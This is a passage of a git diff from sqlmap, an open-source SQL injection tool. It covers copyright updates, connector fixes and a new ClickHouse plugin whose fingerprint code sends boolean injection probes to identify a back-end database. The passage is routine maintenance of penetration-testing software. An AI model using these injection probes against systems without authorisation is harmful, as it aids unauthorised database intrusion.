(c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index b2c52b490a0..cb6e1fa7971 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py index 63ee1317691..a8e50cf19db 100644 --- a/plugins/dbms/altibase/__init__.py +++ b/plugins/dbms/altibase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py index e19ad4bfbf3..bf0f66a6c42 100644 --- a/plugins/dbms/altibase/connector.py +++ b/plugins/dbms/altibase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py index e565b49c4ca..467897eb336 100644 --- a/plugins/dbms/altibase/enumeration.py +++ b/plugins/dbms/altibase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/altibase/filesystem.py +++ b/plugins/dbms/altibase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py index eb471a72433..8c99a80ea1f 100644 --- a/plugins/dbms/altibase/fingerprint.py +++ b/plugins/dbms/altibase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py index b6b6c633dc8..7ba5c8b9f38 100644 --- a/plugins/dbms/altibase/syntax.py +++ b/plugins/dbms/altibase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py index 6edc833ba4e..abc2f4d9f61 100644 --- a/plugins/dbms/altibase/takeover.py +++ b/plugins/dbms/altibase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py index f9409fbc762..b4c8abdce26 100644 --- a/plugins/dbms/cache/__init__.py +++ b/plugins/dbms/cache/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 000db10fc00..3ba07525be9 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -37,15 +37,16 @@ def connect(self): jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar - jvm_path = jpype.getDefaultJVMPath() - jpype.startJVM(jvm_path, args) + if not jpype.isJVMStarted(): + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'com.intersys.jdbc.CacheDriver' connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) - self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py index bc81558c4be..4ac3e1acca7 100644 --- a/plugins/dbms/cache/enumeration.py +++ b/plugins/dbms/cache/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/cache/filesystem.py +++ b/plugins/dbms/cache/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py index feca88a5ba5..909f42d2442 100644 --- a/plugins/dbms/cache/fingerprint.py +++ b/plugins/dbms/cache/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py index 6ee81215240..9a23d5195a1 100644 --- a/plugins/dbms/cache/syntax.py +++ b/plugins/dbms/cache/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py index cf933aee3e3..332b33887e0 100644 --- a/plugins/dbms/cache/takeover.py +++ b/plugins/dbms/cache/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 00000000000..ff10ae10c88 --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines ClickHouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 00000000000..12d4987eefe --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import clickhouse_connect + import clickhouse_connect.dbapi +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/ClickHouse/clickhouse-connect + User guide: https://clickhouse.com/docs/integrations/python + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = clickhouse_connect.dbapi.connect(host=self.hostname, port=self.port, username=self.user, password=self.password, database=self.db) + except clickhouse_connect.dbapi.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 00000000000..8c12e1aad5a --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on ClickHouse it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 00000000000..5be3e8a779d --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 00000000000..1419d4dc62e --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 00000000000..93da628052a --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 00000000000..6e16590937b --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py index 843b750212e..c9e2259bf0d 100644 --- a/plugins/dbms/cratedb/__init__.py +++ b/plugins/dbms/cratedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py index 15a2b48e358..0c5e5436180 100644 --- a/plugins/dbms/cratedb/connector.py +++ b/plugins/dbms/cratedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py index ce0ad614b26..4c9e66b39e2 100644 --- a/plugins/dbms/cratedb/enumeration.py +++ b/plugins/dbms/cratedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/cratedb/filesystem.py +++ b/plugins/dbms/cratedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py index 26ee988e985..7a6b6f545df 100644 --- a/plugins/dbms/cratedb/fingerprint.py +++ b/plugins/dbms/cratedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py index b53aa83ad0a..17a0a02c257 100644 --- a/plugins/dbms/cratedb/syntax.py +++ b/plugins/dbms/cratedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py index 87195fd1fdb..0e8b86c004c 100644 --- a/plugins/dbms/cratedb/takeover.py +++ b/plugins/dbms/cratedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py index 854ed4c0f70..d5aedaf3c04 100644 --- a/plugins/dbms/cubrid/__init__.py +++ b/plugins/dbms/cubrid/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index 1be6d7d1a33..cc17cd8aa1a 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -30,8 +30,10 @@ def connect(self): self.initConnection() try: - self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) - except CUBRIDdb.DatabaseError as ex: + # CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally + # (it does not accept hostname/username/database keyword args, which raised a TypeError before) + self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password)) + except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py index edc43413141..142b170108a 100644 --- a/plugins/dbms/cubrid/enumeration.py +++ b/plugins/dbms/cubrid/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/cubrid/filesystem.py +++ b/plugins/dbms/cubrid/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py index 375ee52e9e6..9d1a16c151d 100644 --- a/plugins/dbms/cubrid/fingerprint.py +++ b/plugins/dbms/cubrid/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py index 3b75df1656e..070abcd25b3 100644 --- a/plugins/dbms/cubrid/syntax.py +++ b/plugins/dbms/cubrid/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py index 063b2a2d56e..cb140d6c9c5 100644 --- a/plugins/dbms/cubrid/takeover.py +++ b/plugins/dbms/cubrid/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 433dbb2bf12..9b70ae438ab 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index d83845d98fd..7e30a336950 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -32,7 +32,7 @@ def connect(self): try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError as ex: + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index aca27237278..3a6c3599e35 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 14e6a56ca97..aa12d2ed11a 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index b6b6c633dc8..7ba5c8b9f38 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index bcbc4b5e11d..7c19fd8799c 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py index 4e1362b8aee..2b4f3104e87 100644 --- a/plugins/dbms/derby/__init__.py +++ b/plugins/dbms/derby/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 004fb2ec83f..1069977b203 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -30,7 +30,7 @@ def connect(self): self.initConnection() try: - self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port, user=self.user or None, password=self.password or None) except drda.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index 58dbf9f5901..286d20b6c93 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/derby/filesystem.py +++ b/plugins/dbms/derby/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 2a5a7797359..76d67e89605 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.DERBY logger.info(infoMsg) - result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})") + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") if result: infoMsg = "confirming %s" % DBMS.DERBY diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py index b53aa83ad0a..17a0a02c257 100644 --- a/plugins/dbms/derby/syntax.py +++ b/plugins/dbms/derby/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py index 4628871efcf..c4c4ea098ce 100644 